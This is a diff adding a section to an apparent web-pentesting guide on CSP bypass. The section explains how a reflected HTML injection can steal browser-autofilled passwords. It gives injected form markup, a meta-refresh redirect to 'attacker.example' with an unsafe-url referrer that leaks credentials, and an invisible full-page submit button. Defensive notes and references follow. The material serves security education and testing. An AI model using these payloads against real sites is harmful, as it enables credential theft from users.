Stealing Passwords via HTML Injection Under a Strict CSP

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -196,6 +196,50 @@ From here, if you find a XSS and a file upload, and you manage to find a **misin
 
 If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
 
+#### Credential theft with same-origin `GET` + `Referer` leak
+
+Even if the page uses a **very strict CSP** such as `default-src 'none'; script-src 'none'; style-src 'none'; img-src 'none'; connect-src 'none'; frame-src 'none'; form-action 'self'`, a **reflected HTML injection** in a login page can still steal saved credentials **without JavaScript**:
+
+1. Inject a fake login form in the trusted origin:
+
+```html
+<form action="/">
+  <input type="email" name="email" />
+  <input type="password" name="password" />
+  <input type="submit" />
+</form>
+```
+
+2. If the victim has credentials saved for that origin, the browser password manager may **autofill the injected fields**.
+3. Because the form has no `method`, HTML defaults to **`GET`**, so clicking submit moves the credentials into the URL, such as `/?email=victim%40mail.com&password=Secret123`.
+4. If the injection is reflected again, a second-stage payload can force a navigation that leaks that credential-bearing URL in the **`Referer`** header:
+
+```html
+<meta name="referrer" content="unsafe-url">
+<meta http-equiv="Refresh" content="0;url=https://attacker.example/">
+```
+
+This is useful when `form-action 'self'` blocks direct submission to an attacker-controlled domain: the victim first submits to the **same origin**, then the reflected page immediately **redirects** cross-origin and leaks the full previous URL via `Referer`.
+
+**Notes:**
+
+- `strict-origin-when-cross-origin` is the modern default referrer policy, so attackers often need to **inject** a weaker policy such as `unsafe-url` to include path and query string cross-origin.
+- `<meta http-equiv="Refresh">` is attractive in HTML-only exploits because it doesn't require JavaScript and often survives CSPs that only restrict scripts/connections.
+- If inline CSS is allowed, an invisible full-page submit button can turn this into an **any-click** attack:
+
+```html
+<input type="submit" style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:999999;opacity:0">
+```
+
+**Test cases / impact upgrades:**
+
+- Reflected HTML injection on **login pages** or any page where password autofill is active
+- Credential-bearing forms that accidentally allow **`GET`**
+- Missing or weak `Referrer-Policy`
+- Secrets in URLs becoming exposed to **history, logs, analytics, reverse proxies, and cross-origin `Referer` headers**
+
+**Defensive notes:** fixing the HTML injection is the real fix. Defense in depth includes **forcing `POST` for credential forms**, setting an explicit restrictive `Referrer-Policy` (for example `no-referrer` or `same-origin`), and auditing whether password managers autofill attacker-injected forms rendered on trusted origins.
+
 ### Third Party Endpoints + ('unsafe-eval')
 
 > [!WARNING]
@@ -859,6 +903,8 @@ navigator.credentials.store(
 - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
 - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
 - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
+- [Stealing Passwords via HTML Injection Under a Strict CSP](https://afine.com/blogs/stealing-passwords-via-html-injection-under-a-strict-csp)
+- [MDN: Referrer-Policy header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy)
 
 ​